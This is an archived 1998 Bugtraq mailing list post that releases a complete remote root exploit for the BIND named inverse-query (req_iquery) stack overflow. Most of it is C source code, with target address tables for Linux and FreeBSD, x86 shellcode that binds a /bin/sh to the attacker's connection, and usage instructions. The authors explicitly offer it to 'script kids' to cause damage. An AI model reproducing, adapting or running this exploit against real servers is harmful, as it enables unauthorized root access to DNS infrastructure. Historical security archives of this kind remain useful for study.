Bugtraq mailing list archives

named warez


From: gut () SHELL CDC NET (gut () SHELL CDC NET)
Date: Sun, 31 May 1998 02:38:17 -0400


hi.

there seems to be a lot of fuss over this bug, so in the interest of
causing people with high paying jobs some problems the riders of the
short bus (ROTShB) have decided to give script kids (whom are most likely
destructive) a new toy.

note: if you consider yourself an average bugtraq reader please skip to
the first line which contains '-- cut here --'.

now a bit ago you might have read a cert advisory which let a lot of
terrible people know that there was a bcopy()/memcpy() (may be the same
thing for you, may not) in named's req_iquery().  all that was terrible
about this was simply that a user definable ammount of user definable data
was copied to a memory address on the stack which happened to be lower than
the memory address which stores the return address for the said function.
this of course is all relative to your arch/os, but all of our favorites
are vulnerable.

every version of named released prior to the cert advisory was vulnerable
as far as we cared to check.  the only requirement is that the target
named needs to accept fake iqueries, that is they had INVQ defined at
compile time or they have the appropriate options set in a config file.

now lets look at how the exploit our script kiddie friends will soon use
works.

looking at req_iquery() found in ns_req.c we can see that exploitation is
pretty straight forward.  we won't bore you with the details.  the only
thing we should really note here is the dlen and alen variables.  as you
can see they could cause a segmentation violation prior to the function's
return if they held certain values.  in which case, our script kids would
be out of luck.  so we go ahead and fill them with friendly data.
friendly being the values they would typically hold when processing a real
inverse query.  if you look at the code you'll also notice that our need
to to fill alen/dlen with good values depends on wether or not #ifdef INVQ
is true.  but we want our exploit to work either way so we do it
reguardless.

ah, but we have yet another pain in the ass.  the ret address' distance
from anbuf will obviously change if the order in which the variables are
arranged on the stack is changed.  isn't gcc a bitch.  without optimization
they'll be in normal order, but compile with -O and they are mixed around.
basically we have to write 2 exploits.  one for an optimized version of
named and one for a non optimized version of named.  now this is rather
important: the ammount of data required to overflow an optimized named is
less than the ammount of data required to overflow a non optimized named.
hence, ALWAYS ATTEMPT TO EXPLOIT A NAMED AS THOUGH IT WAS OPTIMIZED FIRST.
if it isn't optimized you won't cause a segv.  the above is precisely why
we will get lots of emails telling us that 'this shit dosnt work man!^!^@#'.

if this is your problem and you tell us about it bad things will happen.

a little about the exploit:  the target types listed have (se)s and (le)s
after them you'll notice.  se means small enviorment and le means large
enviorment.  the enviorment size upon execution of named will affect the
address we want to return to quite a bit.  the se addr is typically the
addr of anbuf when named is executed at bootup by an rc file.  the le addr
is the addr of anbuf when named is started by a typical bash shell.
hence, ALWAYS USE THE SE TARGET TYPE.

again, if this is your problem and you tell us about it bad things will
happen.

for the above reasons i will give a very simple example for our very
simple bugtraq readers:

remote system is a x86 linux 2.0.33 machine running named version 4.9.6-REL
(btw: a quick way to find out what ver a remote host is running is to:
./dig @remotehost version.bind chaos txt
thnx to someone for putting that in the code.)

you kidz would then do:

./namedexploit targethost 4 1
if that fails, then:
./namedexploit targethost 4 0

one other thing to remember is the arch/os listed in the target type are
just the arch/os we've tested it on.  obviously anything with the same
syscall mechanism and stack setup is exploitable with the provided
exploit.

other than that the exploit is simple and common.  fill buffer with code,
fill ret addr with addr of code.  boom.  a note on the shellcode:  one
possible method of exploitation is simply to start an xterm.  but with all
the people who lack an xterm bin we decided that just wasn't good enough
for our bugtraq readers.

we can predict the fd which will reference our connection with good
accuracy so the shell code you will find dup2()s stdin, stdout, and stderr
with the predicted fd and then execve()s /bin/sh.  linux shellcode is
straight forward.  for bsd?  lcalls are a bitch.  we mov jmp opcodes to
the space following the lcall opcode before each syscall and then jmp
to the same lcall opcode for every syscall.

a preemptive fuq off to all of those who will bitch because we did not
provide a sparc/sunos exploit.  if you want it that bad write it yourself.
we've certainly made it very easy on you.  and giving that out might
actually cause some problems.  we firmly believe that nothing important is
ever stored on a little endian machine.

thats it.  many distributions of various unix variants supply an
exploitable named out of the box.  so run the exploit, and have a good
time.

after ROTShB wishes you luck type 'id'. when you see that you are root,
please remember that you are nothing more that a script kid and you most
likely possess absolutely no technical skill.

have fun.

ps:
we mentioned bad things will happen if you send us mail under certain
circumstances.  we did not mean to imply that it is ok to mail us under
other circumstances.  we don't like you.  please don't mail us.

thanks.

-ROTShB

-- cut here --

/*
 * have fun.
 * -ROTShB
 */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>

#define DEFAULT_TARGET       0
#define DEFAULT_OPTIMIZATION 0
#define DEFAULT_ANBUF_OFFSET 300
#define DLEN_VAL             4
#define NPACKETSZ            512
#define NMAXDNAME            1025
#define PRE_EGG_DATALEN      (1+(sizeof(short)*3)+sizeof(long))
#define ALEN_VAL             (DLEN_VAL+PRE_EGG_DATALEN)
#define BUFFSIZE             4096

struct target_type
{
  char          desc[40];
  int           systype;
  unsigned long addr;
  unsigned long opt_addr;
  int           fd;
};

struct target_type target[] =
{
  {"x86 Linux 2.0.x named 4.9.5-REL (se)",0,0xbffff21c,0xbffff23c,4},
  {"x86 Linux 2.0.x named 4.9.5-REL (le)",0,0xbfffeedc,0xbfffeefc,4},
  {"x86 Linux 2.0.x named 4.9.5-P1 (se)",0,0xbffff294,0xbffff2cc,4},
  {"x86 Linux 2.0.x named 4.9.5-P1 (le)",0,0xbfffef8c,0xbfffefb4,4},
  {"x86 Linux 2.0.x named 4.9.6-REL (se)",0,0xbffff3e3,0xbffff403,4},
  {"x86 Linux 2.0.x named 4.9.6-REL (le)",0,0xbffff188,0xbffff194,4},
  {"x86 Linux 2.0.x named 8.1-REL (se)",0,0xbffff6a4,0xbffff6f8,5},
  {"x86 Linux 2.0.x named 8.1-REL (le)",0,0xbffff364,0xbffff3b8,5},
  {"x86 Linux 2.0.x named 8.1.1 (se)",0,0xbffff6b8,0xbffff708,5},
  {"x86 Linux 2.0.x named 8.1.1 (le)",0,0xbffff378,0xbffff3c8,5},
  {"x86 FreeBSD 3.x named 4.9.5-REL (se)",1,0xefbfd260,0xefbfd2c8,4},
  {"x86 FreeBSD 3.x named 4.9.5-REL (le)",1,0xefbfd140,0xefbfd1a8,4},
  {"x86 FreeBSD 3.x named 4.9.5-P1 (se)",1,0xefbfd260,0xefbfd2c8,4},
  {"x86 FreeBSD 3.x named 4.9.5-P1 (le)",1,0xefbfd140,0xefbfd1a8,4},
  {"x86 FreeBSD 3.x named 4.9.6-REL (se)",1,0xefbfd480,0xefbfd4e8,4},
  {"x86 FreeBSD 3.x named 4.9.6-REL (le)",1,0xefbfd218,0xefbfd274,4},
  {{0},0,0,0,0}
};

unsigned long resolve(char *host)
{
  long i;
  struct hostent *he;

  if((i=inet_addr(host))==(-1))
    if((he=gethostbyname(host))==NULL)
      return(0);
    else
      return(*(unsigned long *)he->h_addr);

  return(i);
}

int send_packet(int fd, char *buff, int len)
{
  char tmp[2], *ptr=tmp;

  PUTSHORT(len,ptr);

  if(write(fd,tmp,2)!=2)
    return(-1);

  if(write(fd,buff,len)!=len)
    return(-1);

  return(1);
}

int attack(int fd, struct target_type t, unsigned long offset, int optimized)
{
  char buff[BUFFSIZE], *ptr=buff;
  HEADER *dnsh=(HEADER *)buff;
  unsigned long i;
  int dlen, len=0;

  (void)memset(dnsh,0,sizeof(HEADER));

  dnsh->id      = htons(31337);
  dnsh->opcode  = IQUERY;
  dnsh->rd      = 1;
  dnsh->ra      = 1;
  dnsh->ancount = htons(1);

  ptr += sizeof(HEADER);
  len += sizeof(HEADER);

  *ptr = '\0';
  ptr++;

  i = T_A;
  PUTSHORT(i,ptr);

  i = C_IN;
  PUTSHORT(i,ptr);

  i = 31337;
  PUTLONG(i,ptr);

  if(t.systype==0)
    {
      char c0de[] =
        "\x31\xc0\xb0\x3f\x31\xdb\xb3\xff\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1"
        "\x01\xcd\x80\x31\xc0\xb0\x3f\xb1\x02\xcd\x80\xeb\x24\x5e\x8d\x1e\x89"
        "\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10"
        "\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7"
        "\xff\xff\xff/bin/sh";

      if(optimized)
        dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
      else
        dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;

      PUTSHORT(dlen,ptr);
      len += PRE_EGG_DATALEN;

      c0de[7] = t.fd;

      (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));

      i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
      (void)memcpy((ptr+i),c0de,sizeof(c0de));

      if(!optimized)
        {
          (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
          i = ALEN_VAL;
          (void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
          i = DLEN_VAL;
          (void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
        }
      else
        (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));

      i = (optimized?t.opt_addr:t.addr)+offset;

      len += dlen;
    }

  else if(t.systype==1)
    {
      char c0de[] =
        "\xeb\x6e\x5e\xc6\x06\x9a\x31\xc9\x89\x4e\x01\xc6\x46\x05\x07\x88"
        "\x4e\x06\x51\x31\xdb\xb3\x04\x53\x66\xc7\x46\x07\xeb\xa7\x31\xc0"
        "\xb0\x5a\x50\xeb\x50\xfe\xc1\x51\x53\xc6\x46\x08\xb6\x31\xc0\xb0"
        "\x5a\x50\xeb\x41\xfe\xc1\x51\x53\xc6\x46\x08\xc5\x31\xc0\xb0\x5a"
        "\x50\xeb\x32\xc7\x46\x07\x2f\x62\x69\x6e\xc7\x46\x0b\x2f\x73\x68"
        "\x21\x31\xc0\x88\x46\x0e\x8d\x5e\x07\x89\x5e\x0f\x89\x46\x13\x8d"
        "\x5e\x13\x53\x8d\x5e\x0f\x53\x8d\x5e\x07\x53\xb0\x3b\x50\xeb\x05"
        "\xe8\x8d\xff\xff\xff";

      if(optimized)
        dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
      else
        dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;

      PUTSHORT(dlen,ptr);
      len += PRE_EGG_DATALEN;

      c0de[22] = t.fd;

      (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));

      i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
      (void)memcpy((ptr+i),c0de,sizeof(c0de));

      if(!optimized)
        {
          (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
          i = ALEN_VAL;
          (void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
          i = DLEN_VAL;
          (void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
        }
      else
        (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));

      i = (optimized?t.opt_addr:t.addr)+offset;
      (void)memcpy((ptr+(dlen-4)),&i,sizeof(i));

      len += dlen;
    }
  else
    return(0);

  return(send_packet(fd,buff,len));
}

int main(int argc, char *argv[])
{
  char xbuf[128], ybuf[128];
  unsigned long offset=DEFAULT_ANBUF_OFFSET;
  int ti, opt=DEFAULT_OPTIMIZATION, sock, i;
  int xlen=0, ylen=0;
  fd_set rd, wr;
  struct sockaddr_in sa;

  for(i=0;((target[i].addr)||(target[i].opt_addr));i++);

  if(argc<2)
    {
      (void)fprintf(stderr,"\ntarget types:\n");

      for(ti=0;ti<i;ti++)
        (void)fprintf(stderr," %-2d : %s\n",ti,target[ti].desc);

      (void)fprintf(stderr,"\nerror: usage: %s <host> [tt] [opt] [ofst]\n",
                    argv[0]);
      exit(-1);
    }

  if(argc>2)
    {
      ti = atoi(argv[2]);
      if((ti<0)||(ti>i))
        {
          (void)fprintf(stderr,"error: invalid target type %d\n",ti);
          exit(-1);
        }
    }
  else
    ti = DEFAULT_TARGET;

  if(argc>3)
    {
      opt = atoi(argv[3]);
      if((opt!=0)&&(opt!=1))
        {
          (void)fprintf(stderr,"error: invalid optimization setting %d\n",opt);
          exit(-1);
        }
    }

  if(argc>4)
    offset = atoi(argv[4]);

  if(!(sa.sin_addr.s_addr=resolve(argv[1])))
    {
      (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
      exit(-1);
    }

  sa.sin_family = AF_INET;
  sa.sin_port   = htons(53);

  if((sock=socket(sa.sin_family,SOCK_STREAM,0))==(-1))
    {
      (void)perror("error: socket");
      exit(-1);
    }

  if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))==(-1))
    {
      (void)perror("error: connect");
      exit(-1);
    }

  (void)printf("target             : %s\n",inet_ntoa(sa.sin_addr));
  (void)printf("target type        : %s\n",target[ti].desc);
  (void)printf("optimized named    : %s\n",(opt?"YES":"NO"));
  (void)printf("anbuff addr        : 0x%x\n",(unsigned int)
               (i=(opt?target[ti].opt_addr:target[ti].addr)));
  (void)printf("anbuff addr offset : %lu\n",offset);
  (void)printf("ret addr           : 0x%x\n",(unsigned int)(i+offset));
  (void)printf("fd to make dups of : %d\n",target[ti].fd);

  (void)printf("here we go...\n");

  switch(attack(sock,target[ti],offset,opt))
    {
    case -1:
      (void)perror("error: attack");
      exit(-1);
      break;

    case 0:
      (void)fprintf(stderr,"error: internal error\n");
      exit(-1);
      break;
    }

  (void)printf("have fun.\n");
  (void)printf("-ROTShB\n");

  while(1)
    {
      FD_ZERO(&rd);
      if(ylen<(sizeof(ybuf)-1))
        FD_SET(sock,&rd);
      if(xlen<(sizeof(xbuf)-1))
        FD_SET(fileno(stdin),&rd);

      FD_ZERO(&wr);
      if(xlen)
        FD_SET(sock,&wr);
      if(ylen)
        FD_SET(fileno(stdout),&wr);

      if((ti=select((sock+1),&rd,&wr,NULL,NULL))==(-1))
        {
          (void)perror("error: select");
          break;
        }

      if(FD_ISSET(fileno(stdin),&rd))
        {
          if((i=read(fileno(stdin),(xbuf+xlen),(sizeof(xbuf)-xlen)))==(-1))
            {
              (void)perror("error: read");
              exit(-1);
            }
          else if(i==0)
            break;

          xlen += i;
          if(!(--ti)) continue;
        }

      if(FD_ISSET(sock,&wr))
        {
          if(write(sock,xbuf,xlen)!=xlen)
            {
              (void)perror("error: write");
              exit(-1);
            }

          xlen = 0;
          if(!(--ti)) continue;
        }

      if(FD_ISSET(sock,&rd))
        {
          if((i=read(sock,(ybuf+ylen),(sizeof(ybuf)-ylen)))==(-1))
            {
              (void)perror("error: read");
              exit(-1);
            }
          else if(i==0)
            break;

          ylen += i;
          if(!(--ti)) continue;
        }

      if(FD_ISSET(fileno(stdout),&wr))
        {
          if(write(fileno(stdout),ybuf,ylen)!=ylen)
            {
              (void)perror("error: write");
              exit(-1);
            }

          ylen = 0;
          if(!(--ti)) continue;
        }
    }

  if(close(sock)==(-1))
    {
      (void)perror("error: close");
      exit(-1);
    }

  exit(0);
}

-- cut here --



Current thread: